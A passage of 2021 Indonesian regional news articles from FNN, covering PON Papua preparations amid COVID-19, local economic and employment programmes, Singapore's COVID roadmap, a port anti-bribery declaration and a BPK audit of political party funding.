sangat mengharapkan dukungan khusus dari Bupati Tulang Bawang terkait kemudahan perizinan pendirian Pertashop," ujarnya. Terkait hal tersebut, Pemkab Tulang Bawang akan membuka kesempatan yang selebar-lebarnya bagi investor yang akan berinvestasi di Tulang Bawang sehingga dapat mendukung laju perekonomian Kabupaten Tulang Bawang. "Untuk Informasi pengajuan Mitra Pertashop dapat diakses melalui alamat web ptm.id/MitraPertashop," tutup Umar. (mth)

Menjawab Keraguan PON Papua

Jakarta, FNN - Setelah Papua ditunjuk menjadi tuan rumah Pekan Olahraga Nasional (PON) XX 2020 delapan tahun lalu, Gubernur Lukas Enembe cuma khawatir terhadap satu hal; apakah pembangunan infrastruktur bisa selesai tepat waktu? Pada 2019, Gubernur Lukas Enembe pun mengajukan permohonan kepada Presiden Joko Widodo agar PON 2020 Papua diundur karena pembangunan infrastruktur yang baru mencapai 50 persen. Akan tetapi, presiden tidak menerima alasan tersebut dan tetap menginstruksikan agar PON tetap terlaksana pada 2020 namun dengan pengurangan jumlah cabang olahraga dari 47 menjadi 37 cabang. Tujuh tahun pun berlalu. Namun kekhawatiran itu justru semakin meningkat, tidak hanya soal keraguan penyelesaian venue, tetapi juga ketakutan terhadap musuh tak kasat mata, yang tidak seorang pun tahu kapan akan berakhir; COVID-19. Tahun 2020 yang seharusnya menjadi pestanya olahraga pun justru dikacaukan corona. PON Papua yang sedianya digelar 20 Oktober-2 November 2020 menjadi satu dari sekian banyak agenda yang terdampak penundaan. Tepatnya pada 23 April 2020, Menteri Pemuda dan Olahraga Zainudin Amali mengumumkan PON Papua ditunda hingga Oktober 2021. Keputusan tersebut diambil berdasarkan hasil rapat terbatas bersama Presiden Joko Widodo. Alasannya jelas, jumlah kasus COVID-19 di Indonesia pada saat itu mulai meningkat dan pembangunan venue ikut terhambat. Pemerintah juga tak mau mengorbankan kesehatan dan keselamatan seluruh atlet. Satu tahun berlalu. Namun PON Papua masih dihadapkan berbagai tantangan dan keraguan pada 100 hari menjelang pembukaan dimulai pada 12 Oktober mendatang. Meski demikian, tantangan dan keraguan itu perlahan mulai menemukan jawaban. Persiapan Papua sebagai tuan rumah PON di tengah pandemi COVID-19 tetap berjalan lancar, salah satunya penyelesaian pembangunan empat arena olahraga untuk PON. Keempat arena tersebut yaitu arena akuatik, yang telah disertifikasi Federasi Renang Dunia (FINA), Istora Papua Bangkit, arena cricket serta lapangan hockey indoor dan outdoor. Dari isu keamanan, penolakan, hingga kesehatan Tantangan tak berhenti di situ. PON Papua juga sempat diragukan publik di tengah isu keamanan antara TNI-Polri dan kelompok kriminal bersenjata di Papua. Namun Panitia Besar atau PB PON Papua berani menjamin bahwa Papua sangat aman untuk menggelar pesta olahraga nasional empat tahunan tersebut. Lagi pula menurutnya, lokasi insiden baku tembak yang terjadi belakangan ini jauh dari lokasi arena pertandingan maupun tempat tinggal kontingen. “Keamanan sudah disiapkan dengan sangat profesional oleh Polri dan TNI...Gubernur Papua Lukas Enembe telah menjamin Papua aman. Sementara Kapolda Papua dan Panglima Kodam Cenderawasih Papua berani mempertaruhkan jabatannya untuk keamanan PON. Saya kira itu jaminan yang sangat luar biasa. Sangat disayangkan kalau masih ada yang ragu,” ujar Sekretaris Umum PB PON Ellia I Loupatty dalam konferensi pers di Jakarta, 24 April 2021. Ellia memastikan TNI dan Polri akan siaga 24 jam menjaga arena dan tempat tinggal kontingen. Selain itu, panitia juga akan menerapkan protokol keamanaan yang ketat yang diberlakukan sejak tamu tiba di Papua. Mereka akan diminta melakukan verifikasi data sebelum mendapat kartu identitas yang menjadi akses utama ke arena PON. “Tidak perlu ragu untuk keamanan PON. Pemerintah daerah dan pusat sangat serius menjaga PON agar berlangsung aman dan nyaman. Kami juga tidak mau malu sehingga berusaha agar tidak ada insiden selama PON,” kata Ellia menegaskan. Tantangan lain justru datang dari tuan rumah sendiri ketika pemerintah Kota Jayapura dan Kabupaten Mimika mengancam penolakan PON Papua karena belum jelasnya penyediaan anggaran dari PB PON. “Apabila nantinya tetap tidak ada transparansi dari PB PON maka Kabupaten Mimika akan menolak menjadi tuan rumah,” kata Bupati Kabupaten Mimika Eltinus Omaleng, 25 Mei 2021. Demikian pula dengan Wali Kota Jayapura Benhur Tommy Mano yang menyatakan menolak PON XX karena tidak adanya kejelasan soal anggaran, sedangkan pemerintah daerah sudah menggelontorkan dana miliaran rupiah dari APBD untuk pembangunan venue pertandingan pesta multiajang nasional tersebut. “Dalam pembahasan rencana kerja dan anggaran bersama kami, PB PON sama sekali tidak menunjukkan berapa jumlah anggaran untuk pelaksanaan PON di Kota Jayapura,” ungkap Benhur. Namun Ketua Umum KONI Pusat Marciano Norman telah menjamin masalah itu segera terselesaikan. Kunci utamanya hanya memperbaiki komunikasi yang tidak berjalan mulus antara PB PON dan empat klaster penyelenggara PON. “Saya sudah datang ke Papua dan menyelesaikan masalah ini. Untuk Kota Jayapura sudah berjalan mengikuti arahan,” kata Marciano, 8 Juni 2021. “Untuk Mimika, kami sudah berbicara dengan pak bupati. Kami dengarkan keinginan beliau, dan masalah yang muncul saat pertemuan dengan PB PON sudah kami komunikasikan dan insyaallah semua berjalan kembali,” kata dia. PB PON pada 11 Juni lalu pun sudah melakukan penyerahan anggaran kepada Ketua Umum Sub PB PON Kota Jayapura Benhur Tomi Mano sebesar Rp108 miliar. Penyerahan anggaran juga telah dilakukan dengan Sub PB PON Kabupaten Jayapura yang mendapat jatah Rp95 miliar. Dia berharap penyerahan anggaran tersebut tidak hanya berupa seremonial semata, tetapi bisa segera dicairkan dalam waktu dekat. “Supaya tidak terkesan hanya di atas kertas, tetapi memang betul-betul diwujudnyatakan secara fisik supaya semua panitia yang sudah dibagi tugas dalam mensukseskan kegiatan ini bisa bekerja cepat. Sangat sulit, saya terus terang, ngeri juga saya melihat situasi ini, sangat sulit," ungkapnya. Kendala semacam itu boleh dibilang tantangan yang tak seberapa karena masih bisa diselesaikan lewat jalur komunikasi. Tantangan selanjutnya—dan mungkin yang tersulit karena tak bisa diatasi dengan jalur negosiasi—adalah menekan laju kasus baru COVID-19 agar PON Papua, yang hanya tersisa tiga bulan, tidak kena imbasnya apalagi Presiden Joko Widodo telah menegaskan tak ingin lagi PON Papua kembali ditangguhkan. Demi mencegah penularan selama gelaran PON, Presiden Jokowi telah menginstruksikan percepatan vaksinasi bagi atlet dan masyarakat di sekitar venue. Kementerian Kesehatan melalui Kepala Seksi Kesehatan Olahraga Prestasi, Direktorat Kesehatan Kerja dan Olahraga Harry Papilaya mengatakan pihaknya terus menyiapkan kebutuhan kesehatan selama PON. Pada Juni dan Juli, mereka sudah melakukan pelatihan untuk tenaga kesehatan khusus yang bertugas mengawal PON. Sementara itu, vaksinasi telah berjalan sesuai standar, kepada atlet maupun masyarakat umum. Untuk protokol kesehatan, mereka saat ini masih menyiapkan protokol kesehatan terbaru yang menyesuaikan protokol kesehatan Olimpiade Tokyo. “Vaksinasi di Papua sudah sesuai standar dan sudah masuk tahap keempat untuk masyarakat umum,” kata Harry. Dengan adanya cakupan vaksinasi yang meluas, dibarengi dengan upaya pengendalian kasus baru COVID-19 pun kian menambah optimisme PON Papua bisa digelar dengan aman tanpa ada risiko penularan. Penundaan satu tahun rasanya sudah cukup. Jangan sampai usaha dan kerja keras seluruh pihak dan penantian atlet sia-sia. Sebab jika terlaksana, PON Papua bisa menjadi upaya pemulihan yang dapat membangkitkan harapan di tengah ketidakpastian situasi pandemi saat ini. Namun ingat, itu semua harus berjalan dengan aman. (mth)

Kementerian PUPR: Politeknik PU Buka Peluang Kerjasama dengan Hungaria

Jakarta, FNN - Kementerian Pekerjaan Umum dan Perumahan Rakyat (PUPR) mengungkapkan Politeknik Pekerjaan Umum (PU) sebagai penyelenggara pendidikan vokasi berbasis keterampilan membuka peluang kerja sama dengan Hungaria. Sekretaris Jenderal (Sekjen) Kementerian PUPR Mohammad Zainal Fatah mengatakan guna membangun link and match pada pengembangan kurikulum, pelaksanaan magang, penyelenggaraan beasiswa, penyediaan fasilitas, dan kegiatan lain Politeknik PU terus membuka peluang kerja sama dengan berbagai pihak, salah satunya Pemerintah Hungaria. "Salah satu hasil pertemuan disepakati bahwa Pemerintah Indonesia dan Hungaria memiliki kesamaan pandangan mengenai bagaimana menempatkan pentingnya Politeknik dalam menyiapkan tenaga kerja konstruksi yang kompeten. Oleh karena itu tadi ada pembicaraan awal mengenai peluang kerja sama Politeknik PU dengan Pemerintah Hungaria," ujar Fatah dalam keterangan tertulis yang diterima di Jakarta, Kamis. Dia mengungkapkan hal tersebut usai mendampingi Menteri PUPR Basuki Hadimuljono bertemu dengan Duta Besar Hungaria untuk Indonesia Judith Nemeth Pach. Untuk lebih detailnya terkait rencana kerja sama tersebut, Fatah menyampaikan telah disepakati pada pekan depan rencananya akan dilakukan pembicaraan selanjutnya tentang aspek apa saja yang akan dikerjasamakan. "Salah satunya pelatihan praktik di lapangan (practical training). Tadi disampaikan bahwa Pemerintah Hungaria rencananya juga akan memberikan bantuan pembiayaan dalam kerja sama ini. Peluang ini kita tangkap dengan baik, dari Kementerian PUPR akan segera dibentuk tim untuk mewujudkan kerja sama ini," katanya. Kementerian PUPR terus berkomitmen mendukung peningkatan kualitas sumber daya manusia (SDM) yang merupakan visi Presiden Joko Widodo bersama Wakil Presiden Ma’ruf Amin. Selain membangun sarana dan prasarana pendidikan, dukungan ini juga diwujudkan melalui penyelenggaraan pendidikan vokasi berbasis outcome keterampilan di Politeknik PU. Sebelumnya Politeknik PU juga telah melakukan kolaborasi dengan sejumlah BUMN Karya dalam rangka link and match yang diharapkan bisa menjadi jembatan antara dunia pendidikan dengan entitas dunia bisnis konstruksi. Kolaborasi yang dilakukan yakni pendidikan di lapangan, berupa magang di proyek dalam rangka mengaplikasikan ilmu pengetahuan yang telah diperoleh di kampus. Politeknik PU merupakan perguruan tinggi negeri (PTN) rintisan baru di bawah Kementerian PUPR yang dibuka sejak tahun 2019 berlokasi di Semarang, Jawa Tengah. Politeknik PU merupakan salah satu bentuk terobosan Kementerian PUPR untuk memenuhi kebutuhan dunia industri terhadap tenaga konstruksi terampil, dalam menghadapi tantangan global dan tantangan nasional pembangunan infrastruktur ke PU-an. (mth)

Singapura Susun Panduan untuk Hidup Berdampingan dengan COVID

Singapura, FNN - Pemerintah Singapura sedang menyusun peta jalan tentang bagaimana hidup lebih normal dengan COVID-19 dengan harapan bahwa virus itu akan menjadi endemik seperti influenza dan ketika tingkat vaksinasi meningkat, kata para menteri yang memimpin gugus tugas memerangi virus negara itu. Negara-kota tersebut telah memvaksin sekitar setengah dari 5,7 juta penduduknya dengan setidaknya satu dosis vaksin yang dikembangkan oleh Pfizer-BioNTech dan Moderna. Sementara kecepatan vaksinasi Singapura relatif tinggi, negara ini lebih lambat dalam melanjutkan kegiatan sosial dan perjalanan, dibandingkan dengan tempat lain dengan tingkat inokulasi serupa. "Sudah 18 bulan sejak pandemi dimulai, dan orang-orang kami lelah berperang. Semua bertanya: Kapan dan bagaimana pandemi akan berakhir?" menteri Gan Kim Yong, Lawrence Wong dan Ong Ye Kung mengatakan dalam sebuah opini di surat kabar The Straits Times pada Kamis. Singapura memiliki aturan ketat yang mengatur pertemuan sosial, pemakaian masker, pelacakan kontak, dan perjalanan. Para menteri perdagangan, keuangan, dan kesehatan berharap setidaknya dua pertiga dari populasi divaksin penuh dengan dua dosis saat Hari Kemerdekaan Singapura pada 9 Agustus. "Kami bekerja untuk memajukan pengiriman vaksin dan mempercepat prosesnya," mereka berkata. Ketika negara mencapai tonggak vaksinasi, pada waktunya, alih-alih memantau jumlah infeksi harian, pihak berwenang akan fokus pada hasil seperti berapa banyak yang jatuh sakit. Mereka yang terinfeksi akan diizinkan untuk pulih di rumah, sehingga akan ada lebih sedikit kekhawatiran tentang sistem perawatan kesehatan yang sedang tertekan. Tes COVID-19 tidak akan menjadi alat untuk memagari dan mengarantina orang, tetapi akan lebih digunakan untuk memastikan bahwa acara, kegiatan sosial, dan perjalanan ke luar negeri dapat berlangsung dengan aman. Para menteri mengatakan orang akan dapat melakukan perjalanan lagi setidaknya ke negara-negara yang juga mengendalikan virus, dengan pengujian dan vaksinasi menghilangkan kebutuhan akan karantina. (mth)

KONI Jatim Siapkan Lebih dari 500 Atlet untuk PON Papua

Jakarta, FNN - Komite Olahraga Nasional Indonesia atau KONI Jawa Timur menyiapkan lebih dari 500 atlet untuk bertanding di Pekan Olahraga Nasional (PON) Papua yang akan digelar pada 2-15 Oktober mendatang. “Kalau untuk atletnya saja ada sekitar 544 atlet. Kalau dengan ofisial sekitar 800-an orang,” kata Ketua Harian KONI Jawa Timur Nabil dihubungi dari Jakarta, Rabu. Nabil menuturkan saat ini para atlet terus melakukan latihan sebagai persiapan mereka berlaga di PON. Sebagian atlet ada yang berlatih di mess masing-masing, ada pula yang sudah melakukan sparring atau latih tanding dengan atlet dari provinsi lain. Pada 100 hari menjelang pelaksanaan PON Papua, yang akan dimulai pada 2 Oktober mendatang, KONI Jawa Timur berharap tak ada lagi penundaan PON karena penangguhan satu tahun sudah cukup menguras energi dan tenaga para atlet yang telah mengorbankan waktunya demi bisa berlaga dalam gelaran multiajang empat tahunan itu. “Mudah-mudahan bisa tetap terlaksana tapi dengan protokol kesehatan,” ujarnya. “Atlet kami sudah mengorbankan waktu. Ada yang menunda menikah, sekolah, dan kerja. Belum lagi pengaruh performa atlet karena puncak mereka itu seharusnya pada 2020,” katanya menambahkan. Lagi pula, lanjut dia, hampir seluruh atlet Jawa Timur sudah menerima vaksinasi COVID-19 sehingga itu bisa kian meningkatkan optimisme PON Papua bisa digelar dengan aman. Namun dia tetap meminta KONI Pusat dan Panitia Besar atau PB PON Papua untuk menyusun regulasi protokol kesehatan ekstra ketat guna memastikan keamanan seluruh kontingen yang datang, termasuk menyiapkan berbagai daftar antisipasi kejadian tak terduga selama gelaran tersebut berlangsung. (mth)

Pemkot Samarinda Siap Ciptakan Wirausaha Baru di Setiap RT

Samarinda, FNN - Pemerintah Kota Samarinda, Kalimantan Timur, mulai tahun 2021 akan mencetak wirausahawan di setiap rukun tenggangga (RT), dimulai dari industri rumahan terutama yang dijalankan kaum perempuan. "Pencetakan wirausahawan baru dilakukan dengan memberikan pelatihan keterampilan terutama dari kaum perempuan untuk meningkatkan kualitas hidup perempuan," ujar Asisten I Pemkot Samarinda Tejo Sutanoto di Samarinda, Rabu. Sebelumnya, saat Dinas Kependudukan, Pemberdayaan Perempuan dan Perlindungan Anak Provinsi Kaltim menggelar advokasi untuk memperkecil kesenjangan perempuan di Samarinda, Tejo menyatakan Pemkot Samarinda pun berkomitmen ke arah itu. Sebagai langkah optimalisasi pemberdayaan perempuan di bidang ekonomi, maka perlu strategi dan kebijakan meliputi perluasan kesempatan, pemberdayaan masyarakat, peningkatan kapasitas dan perlindungan sosial. Pada dasarnya kebijakan ekonomi, sosial budaya, dan politik tidak bisa dipisahkan, maka pengembangan program pemberdayaan perempuan harus konsisten dengan kebijakan-kebijakan di tingkat makro. "Konsistensi perlu menjadi perhatian karena dengan mengacu pada kebijakan makro operasional, maka kebijakan mikro strategis akan mampu mendukung program-program sektoral," ucap Tejo. Hal lain yang perlu dilakukan adalah pendampingan kepada lembaga penyedia layanan pemberdayaan perempuan, hal ini pun sejalan dengan program unggulan Pemkot Samarinda yakni, Program Pembangunan dan Pemberdayaan Masyarakat (Pro-Bebaya). “Dalam program ini, pemberdayaan masyarakat diarahkan untuk penciptaan wirausahawan baru minimal 2-3 orang per RT, yakni melalui berbagai pelatihan keterampilan sesuai dengan minat dan sesuai dengan kebutuhan terkini," ujar Tejo. (mth)

Belitung Expo 2021 Momentum Pemulihan Ekonomi UMKM

Belitung, FNN - Kepala Dinas Koperasi UKM Perdagangan dan Tenaga Kerja Kabupaten Belitung, Provinsi Kepulauan Bangka Belitung, Adnizar mengatakan pelaksanaan Belitung Expo 2021 sebagai momentum untuk mendorong pemulihan ekonomi pelaku UMKM ditengah pandemi COVID-19. "Sekarang banyak UMKM kita yang masih terpuruk akibat pandemi, jadi ini momen untuk mendorong pemulihan ekonomi para pelaku UMKM," katanya di Tanjung Pandan, Rabu. Selain dalam rangka memperingati Hari Jadi Kota Tanjung Pandan (HJKT) ke 182 pelaksanaan Belitung Expo 2021 juga untuk mendorong pemulihan ekonomi UMKM di daerah itu. Belitung Expo 2021 akan dilaksanakan pada 1 - 5 Juli mendatang bertempat di kawasan wisata Pantai Tanjung Pendam. "Karena ini masih di tengah situasi pandemi COVID-19 jumlah peserta kami batasi yaitu cukup sekitar 50 peserta," ujarnya Para pelaku UMKM yang menjadi peserta Belitung Expo 2021 terdiri dari beberapa sektor seperti kuliner, kerajinan tangan dan pelaku ekonomi kreatif. Mengingat masih di tengah pandemi COVID-19 maka pelaksanaan tersebut akan tetap mematuhi protokol kesehatan. "Dalam pelaksanaannya kami sangat ketat dan berkoordinasi dengan Satgas COVID-19, tidak ingin ada klaster baru dari pelaksanaan kegiatan ini," katanya. (mth)

Layanan Publik di Nagan Raya Tetap Normal Meski ASN Terpapar COVID-19

Suka Makmue, FNN - Pemerintah Kabupaten Nagan Raya Aceh memastikan layanan publik di seluruh lembaga pemerintahan di daerah itu tetap berjalan lancar, meski sejumlah pejabat, ASN dan tenaga harian lepas (THL) terinfeksi COVID-19. “Sejauh ini layanan kepada masyarakat tetap berjalan seperti biasanya, pelayanan dilakukan sesuai protokol kesehatan,” kata Sekretaris Daerah Kabupaten Nagan Raya Aceh Ardi Martha di Suka Makmue, Rabu. Menurutnya, seluruh pelayanan administrasi atau pun layanan publik dilakukan sesuai dengan jam layanan perkantoran dari pagi hingga sore hari. “Khusus bagi pejabat publik, ASN, dan tenaga harian lepas (THL) yang terpapar COVID-19 tidak diperbolehkan masuk kerja. Mereka wajib melayani isolasi mandiri di rumah masing-masing,” katanya. Ia mengakui, persoalan banyaknya ASN dan THL yang terpapar COVID-19 di lingkungan Pemerintah Kabupaten Nagan Raya, kini menjadi perhatian serius dari pemerintah daerah setempat. Ia juga mengakui sejauh ini pemerintah daerah belum mengambil kebijakan apa pun, apakah akan melakukan pembatasan jam layanan kerja atau menggunakan kebijakan shift kerja, guna meminimalisir penyebaran virus di lingkungan perkantoran pemerintah daerah. “Masih harus kita bahas dulu bersama pihak terkait, sejauh ini dapat kami pastikan semua layanan publik berjalan sebagaimana biasanya,” katanya. (mth)

Legislator Penajam Apresiasi Wisata Sawah Desa Gunung Mulia

Penajam, FNN - Anggota DPRD Kabupaten Penajam Paser Utara (PPU), Kalimantan Timur, Sujiati, mengapresiasi Kepala Desa Gunung Mulia yang telah melakukan terobosan dengan mencetak wisata sawah. "Wisata sawah di Gunung Mulia, Kecamatan Babulu ini merupakan satu-satunya di Kabupaten PPU, sehingga ini merupakan terobosan baru dan kami mengapresiasi keberanian kepala desa setempat," ujar Sujiati di Penajam, Rabu. Destinasi wisata persawahan tersebut resmi dibuka pada 21 Juni 2021. Sejak dibuka, pengunjung selalu ada baik pagi, siang, terlebih di sore hari, karena objek wisata ini dibuka mulai pukul 08.00 hingga 18.00 waktu setempat. Banyaknya wisatawan yang berkunjung karena di lokasi tersebut disediakan berbagai fasilitas seperti deretan gazebo cantik, kantin, dan tempat parkir yang memadai sehingga pengunjung merasa nyaman. Terobosan yang dilakukan Kades Gunung Mulia ini hendaknya dicontoh para kepala desa lain di PPU, namun harus inovatif mencontohnya, tidak meniru persis dengan wisata yang sudah ada. "Mencontoh bukan berarti harus mengikuti sama persis, namun mencontoh terobosannya. Kalau desa lain juga membuka wisata sawah, lantas di mana letak keunikannya, mana letak spesifiknya, maka harus kreatif dan saling mendukung," ujarnya. Misalnya, desa yang dekat dengan Gunung Mulia bisa berinovasi dengan wisata kuliner, membuat cinderamata, dan membuat terobosan lain sehingga terciptalah interkoneksi wisata di PPU antara objek yang satu dengan objek yang lain. "Wisata baru di Gunung Mulia yang dibangun menggunakan Anggaran Pendapatan dan Belanja Desa (APBDes). Ke depan juga harus menghasilkan Pendapatan Asli Desa (PADes) agar tidak selalu bergantung pada APBD maupun APBN," ucap Sujiati. Sementara Oddang, Kepala Desa Gunung Mulia mengatakan, selain fasilitas yang ada, ke depan pihaknya akan menambah sejumlah fasilitas lain seperti kafe, toilet, kolam pemancingan, pojok baca, dan wahana permainan untuk anak. "Pembangunan objek wisata ini menggunakan dana desa di APBDes, sedangkan untuk pengelolaannya kami serahkan kepada Badan Usaha Milik Desa (BUMDes) Gunung Mulia," ucap Oddang. (mth)

IPC Group dan Mitra Utama Teken Deklarasi Bersama Pelabuhan Bersih

Jakarta, FNN - PT Pelabuhan Indonesia II (Persero) atau IPC Group dan mitra usaha kepelabuhanan menandatangani Deklarasi Bersama untuk mewujudkan Pelabuhan Bersih sebagai salah satu bentuk kongkret sinergi dalam mewujudkan Pelabuhan Bersih. Turut hadir dalam deklarasi bersama yang digelar secara hybrid di 12 cabang pelabuhan yang dikelola oleh IPC, Rabu, jajaran Direksi IPC, general manager cabang pelabuhan, jajaran direksi anak dan cucu perusahaan IPC, perwakilan mitra usaha, asosiasi, Perusahaan Bongkar Muat (PBM) serta instansi pemerintah sebagai stakeholder di lingkungan pelabuhan. "Deklarasi Bersama ini menunjukkan bahwa baik IPC Group dan mitra usaha serta stakeholders kepelabuhanan terkait memiliki tujuan yang sama, yakni kesepahaman bahwa praktik pungli dan gratifikasi di lingkungan pelabuhan harus diberantas serta memastikan kelancaran dan keamanan kegiatan operasional di pelabuhan merupakan tanggung jawab kita bersama," kata Direktur Utama IPC Arif Suhartono dalam keterangan tertulis di Jakarta, Rabu. IPC juga turut menggandeng Komisi Pemberantasan Korupsi (KPK) untuk memberikan sosialisasi terkait pencegahan tindak pidana korupsi serta pungutan liar yang disampaikan oleh Plt. Direktur Gratifikasi dan Pelayanan Publik KPK Syarief Hidayat. Arif menjelaskan, dalam praktik di lapangan, manajemen IPC telah menugaskan segenap karyawannya untuk memastikan bahwa tanpa memberi tip atau uang apapun, proses keluar masuk barang di terminal tetap dilayani sesuai jadwal dan sesuai Service Level Agreement (SLA) dan Service Level Guarantee (SLG). "Pelayanan operasional di pelabuhan telah menggunakan sistem cashless payment dan seluruh kegiatan operasional kepelabuhanan dilakukan sesuai dengan SLA dan SLG yang telah ditetapkan. Jika ada hal-hal yang kurang tepat dalam praktiknya, silakan laporkan pada kami," tambah Arif. Layanan saluran pengaduan Whistle Blowing System (WBS) dapat diakses oleh stakeholders Pelabuhan di seluruh wilayah operasi IPC Group melalui layanan WhatsApp di 0811-9511-665 dan https://ipcbersih.whistleblowing.link/ (mth)

Pemkab Sidoarjo Fasilitasi Pekerjaan Lulusan SMK

Sidoarjo, FNN - Pemerintah Kabupaten Sidoarjo, Jawa Timur, memfasilitasi para lulusan sekolah menengah kejuruan (SMK) di daerah itu untuk mencari pekerjaan, sebagai upaya untuk mengurangi pengangguran. Bupati Sidoarjo Ahmad Muhdlor Ali di Sidoarjo, Rabu mengatakan, remaja siap kerja dari lulusan SMK di Kabupaten Sidoarjo setiap tahunnya mencapai 4.000 orang. "Jumlah tersebut, belum termasuk lulusan SMA dan sarjana," katanya, di sela pembekalan khusus bagi lulusan SMK se-Kabupaten Sidoarjo di SMK Diponegoro. Ia mengatakan, untuk mengakomodir ribuan remaja yang siap kerja tersebut sejumlah kebijakan telah dikeluarkan, seperti perjanjian kerja sama (PKS) dengan ratusan perusahaan yang ada di Sidoarjo. Dinas Tenaga Kerja (Disnaker) Pemkab Sidoarjo, kata dia, harus bergerak cepat menjalin komunikasi dengan perusahaan-perusahaan untuk memfasilitasi para lulusan SMK supaya segera mendapatkan pekerjaan. "Saya minta perusahaan di Sidoarjo jika mencari pegawai, prioritaskan warga Sidoarjo dulu. Mereka ini (lulusan SMK) sudah siap bekerja," kata Gus Muhdlor, sapaan karib bupati. Selama ini, lanjut dia, disnaker rutin setiap tahun menggandeng puluhan perusahaan untuk membuka bursa kerja. Mulai tahun ini, Gus Muhdlor meminta ada peran aktif dari disnaker terjun langsung membantu dan mengupayakan ribuan lulusan SMK mendapatkan pekerjaan. "Disnaker bisa membuat perjanjian kerja sama dengan perusahaan-perusahaan, yang bertujuan bila ada perusahaan yang membutuhkan pegawai, maka yang diprioritaskan adalah lulusan SMK dari Sidoarjo. Tentunya sesuai dengan keahlian yang dibutuhkan," katanya. Sementara itu, Ketua Forum Bursa Kerja Khusus (FBKK) Kabupaten Sidoarjo Heru Sasmita mengatakan ada 76 SMK di Sidoarjo, baik negeri maupun swasta yang selama ini sudah bekerja sama dengan perusahaan tertentu. Kerja sama tersebut, kata Heru, lebih kepada menampung kegiatan praktik kerja lapangan (PKL) yang diperuntukkan bagi siswa kelas XI. Sedangkan siswa yang lulus sebagian ada yang diterima di perusahaan tempatnya magang itu. "Rata-rata yang sudah lulus berupaya mencari lowongan kerja sendiri," ujarnya. (mth)

LHP BPK: Bantuan Keuangan Parpol dan Realisasi tahun 2019

Jakarta, FNN - Badan Pemeriksa Keuangan (BPK) mengeluarkan laporan hasil pemeriksaan (LHP) bantuan keuangan partai politik (Parpol) dan realisasi penggunaan anggaran tahun 2019. Dikutip dari LHP atas pertanggunganjawaban penerimaan dan pengeluaran bantuan parpol tahun anggaran 2019 di Jakarta, Rabu, bantuan parpol tertinggi yakni PDI Perjuangan dan paling rendah Partai Hanura. Perhitungan besaran nilai bantuan ditetapkan dengan Keputusan Menteri Dalam Negeri (Mendagri) Nomor 213-377 Tahun 2019 tentang pemberian bantuan keuangan kepada partai politik yang mendapatkan kursi di DPR RI hasil pemilu tahun 2014 untuk tahun anggaran 2019. Serta Keputusan Mendagri Nomor 213-7362 tahun 2019 tentang pemberian bantuan keuangan tahap II kepada Partai politik yang mendapatkan kursi di DPR RI hasil Pemilu tahun 2019 pada tahun Anggaran 2019. DPP Partai PDI Perjuangan mendapatkan dana bantuan Parpol dari Kemendagri sebesar Rp24,51 miliar. Bantuan itu diprioritaskan untuk pendidikan politik sebesar 73,19 persen, sedangkan operasional sekretariat sebesar 26,81 persen. DPP Partai Hanura mendapatkan dana bantuan Parpol dari Kemendagri sebesar Rp4,93 miliar. Bantuan itu diprioritaskan untuk pendidikan politik sebesar 61,65 persen, sedangkan operasional sekretariat sebesar 38,35 persen. DPP Partai Nasdem mendapatkan dana bantuan Parpol dari Kemendagri sebesar Rp9,47 miliar. Bantuan itu diprioritaskan untuk pendidikan politik sebesar 81,77 persen, sedangkan operasional sekretariat sebesar 18,23 persen. DPP Partai Keadilan Sejahtera (PKS) mendapatkan dana bantuan Parpol dari Kemendagri sebesar Rp6,34 miliar. Bantuan itu diprioritaskan untuk pendidikan politik sebesar 62,07 persen, sedangkan operasional sekretariat sebesar 37,93 persen. DPP Partai Kebangkitan Bangsa (PKB) mendapatkan dana bantuan Parpol dari Kemendagri sebesar Rp11,86 miliar. Bantuan itu diprioritaskan untuk pendidikan politik sebesar 86,22 persen, sedangkan operasional sekretariat sebesar 13,78 persen. DPP Partai Persatuan Pembangunan (PPP) mendapatkan dana bantuan Parpol dari Kemendagri sebesar Rp7,69 miliar. Bantuan itu diprioritaskan untuk pendidikan politik sebesar 62,10 persen, sedangkan operasional sekretariat sebesar 37,90 persen. DPP Partai Demokrat mendapatkan dana bantuan Parpol dari Kemendagri sebesar Rp12,26 miliar. Bantuan itu diprioritaskan untuk pendidikan politik sebesar 61,10 persen, sedangkan operasional sekretariat sebesar 38,90 persen. DPP Partai Amanat Nasional (PAN) mendapatkan dana bantuan Parpol dari Kemendagri sebesar Rp9,48 miliar. Bantuan itu diprioritaskan untuk pendidikan politik sebesar 62,40 persen, sedangkan operasional sekretariat sebesar 37,60 persen. DPP Partai Gerakan Indonesia Raya (Gerindra) mendapatkan dana bantuan Parpol dari Kemendagri sebesar Rp15,46 miliar. Bantuan itu diprioritaskan untuk pendidikan politik sebesar 93,38 persen, sedangkan operasional sekretariat sebesar 6,62 persen. Sementara, DPP Partai Golkar mendapatkan dana bantuan Parpol dari Kemendagri sebesar Rp18,12 miliar. DPP Partai Golkar telah mempertanggungjawabkan penerimaan dan pengeluaran Banparpol dengan lengkap dan sah sebesar Rp8.81 miliar dari nilai Banparpol yang diterima DPP Golkar sebesar Rp18,12 miliar. Terdapat selisih sebesar Rp9,31 miliar yang belum digunakan dan ditempatkan pada rekening DPP Golkar. Bantuan itu diprioritaskan untuk pendidikan politik sebesar 49,73 persen, sedangkan operasional sekretariat sebesar 50,27 persen. Dengan demikian, proporsi dana Banparpol yang digunakan untuk kegiatan pendidikan politik lebih kecil dari pada kegiatan operasional sekretariat. Namun, berdasarkan Surat Bendahara Umum Partai Golkar kepada Mendagri tertanggal 13 Maret 2020 tentang Rencana Penggunaan Bantuan Keuangan Partai Politik Sisa Tahun Anggaran 2019 diketahui bahwa Banparpol sisa tahun anggaran 2019 sebesar Rp9,31 miliar, seluruhnya akan digunakan untuk pendidikan politik pada tahun 2020. (mth)

Industri Kertas di Riau Bantu 10.400 Paket Makanan Tambahan Balita

